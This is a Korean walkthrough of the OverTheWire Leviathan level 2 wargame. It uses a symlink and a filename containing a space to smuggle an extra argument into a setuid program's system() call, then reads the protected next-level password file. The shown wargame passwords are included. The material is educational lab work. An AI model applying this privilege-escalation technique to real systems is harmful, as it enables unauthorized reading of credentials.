ssh -p 2223 leviathan2@leviathan.labs.overthewire.org
pw: ougahZi8Ta
현재 디렉터리에서 정보를 확인한다.
leviathan2@leviathan:~$ ls -al
total 28
drwxr-xr-x 2 root root 4096 Aug 26 2019 .
drwxr-xr-x 10 root root 4096 Aug 26 2019 ..
-rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
-rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
-r-sr-x--- 1 leviathan3 leviathan2 7436 Aug 26 2019 printfile
-rw-r--r-- 1 root root 675 May 15 2017 .profile
leviathan2@leviathan:~$ file printfile
printfile: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=46891a094764828605a00c0c38abfccbe4b46548, not stripped
leviathan2@leviathan:~$
현재 디렉터리를 확인해보니까 pringfile이라는 바이너리 파일이 있다. 해당 파일에 setuid가 걸려있는 것으로 보아 해당 파일을 이용하여 level3의 password를 얻어야되는 것 같다.
해당 파일을 실행시켜보자
leviathan2@leviathan:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...
leviathan2@leviathan:~$ ./printfile /etc/leviathan_pass/leviathan2
/bin/cat: /etc/leviathan_pass/leviathan2: Permission denied
해당 파일을 실행시켜보니 file 내용을 프로그램 같다. 해당 프로그램을 사용하여 /etc/leviathan_pass/leviathan3와 /etc/leviathan_pass/leviathan2를 읽어보려고 시도했더니 각각 다른 문구가 뜨면서 파일이 읽어지지 않았다.
/etc/leviathan_pass/leviathan3 파일은 어떠한 이유때문에 You cant have that file문구가 뜨는 것 같고, /etc/leviathan_pass/leviathan2 파일은 setuid로 인해 프로그램이 실행되면서 effective uid가 leviathan3으로 설정되어 Permission denied가 뜨는 것 같다.
ltrace툴을 사용하여 프로그램이 대략적으로 어떻게 돌아가는지 확인해보자
leviathan2@leviathan:~$ ltrace -i ./printfile /etc/leviathan_pass/leviathan3
[0x8048451] __libc_start_main(0x804852b, 2, 0xffffd764, 0x8048610 <unfinished ...>
[0x804858a] access("/etc/leviathan_pass/leviathan3", 4) = -1
[0x804859e] puts("You cant have that file..."You cant have that file...
) = 27
[0xffffffffffffffff] +++ exited (status 1) +++
leviathan2@leviathan:~$ mkdir /tmp/levia2
leviathan2@leviathan:~$ cd /tmp/levia2
leviathan2@leviathan:~$ touch /tmp/levia2/pass.txt
leviathan2@leviathan:~$ ltrace -i ./printfile /tmp/levia2/pass.txt
[0x8048451] __libc_start_main(0x804852b, 2, 0xffffd754, 0x8048610 <unfinished ...>
[0x804858a] access("/tmp/levia2/pass.txt", 4) = 0
[0x80485c7] snprintf("/bin/cat /tmp/levia2/pass.txt", 511, "/bin/cat %s", "/tmp/levia2/pass.txt") = 29
[0x80485cf] geteuid() = 12002
[0x80485d6] geteuid() = 12002
[0x80485e0] setreuid(12002, 12002) = 0
[0x80485f2] system("/bin/cat /tmp/levia2/pass.txt" <no return ...>
[0xf7fd7c99] --- SIGCHLD (Child exited) ---
[0x80485f2] <... system resumed> ) = 0
[0xffffffffffffffff] +++ exited (status 0) +++
프로그램에서는 access함수를 통해 파일에 접근을 시도하고 있다.
access 함수의 검증이 통과했을 경우에는 seteuid를 설정한 후에 system() 함수를 통해 /bin/cat 명령어를 실행하고 있다.
access 함수가 어떤 동작을 하는지 알아보기 위해 manpage를 찾아보자
access() checks whether the calling process can access the file
pathname. If pathname is a symbolic link, it is dereferenced.
The check is done using the calling process's real UID and GID,
rather than the effective IDs as is done when actually attempting
an operation (e.g., open(2)) on the file.
access 함수의 manpage를 확인해보니 해당 함수는 인자값으로 주어진 파일이 접근할 권한이 있는지 확인하는 함수라고 나와있다.
하지만 권한을 확인할 때는 effective user id가 아닌 read user id로 확인한다고 나와있다.
아마 맨 처음 /etc/leviathan_pass/leviathan3파일을 읽을려고 시도했을 때는 effective uid가 아닌 real uid 권한으로 접근을 해서 파일을 못 읽은 것 같다.
access 함수를 속이기 위해 /etc/leviathan_pass/leviathan3 파일의 심볼릭 링크 파일을 만들고, 그 심볼릭 링크 파일명을 포함한 다른 파일을 만들어보자
leviathan2@leviathan:/tmp/levia2$ ln -s /etc/leviathan_pass/leviathan3 ./pass
leviathan2@leviathan:/tmp/levia2$ touch pass\ temp
leviathan2@leviathan:/tmp/levia2$ ls -al
total 268
drwxr-sr-x 2 leviathan2 root 4096 Jan 23 15:08 .
drwxrws-wt 167 root root 266240 Jan 23 15:17 ..
lrwxrwxrwx 1 leviathan2 root 30 Jan 23 15:02 pass -> /etc/leviathan_pass/leviathan3
-rw-r--r-- 1 leviathan2 root 0 Jan 23 15:02 pass temp
이제 pass 파일과 pass temp 파일이 만들어 졌다. 만약 pass temp 파일을 printfile을 사용하여 읽는다면 access 함수의 호출은 아래와 같을 겻이다.
access("/tmp/levia2/pass\ temp", 4)
이 경우 "/tmp/levia2/pass\ temp" 파일의 주인은 leviathan2이므로 검증에 성공하게 된다.
그 후 system 함수의 호출은 아래와 같을 것이다.
system("/bin/cat /tmp/levia2/pass\ temp")
이 경우에는 cat /tmp/levia2/pass temp 처럼 명령어가 실행되기 때문에 아래와 같이 /tmp/levia2/pass 파일과 temp 파일을 읽는 명령어처럼 실행이 된다.
leviathan2@leviathan:/tmp/levia2$ cd ~
leviathan2@leviathan:~$ ./printfile /tmp/levia2/pass\ temp
Ahdiemoo1j
/bin/cat: temp: No such file or directory
password를 획득했다.
id: leviathan3
pw: Ahdiemoo1j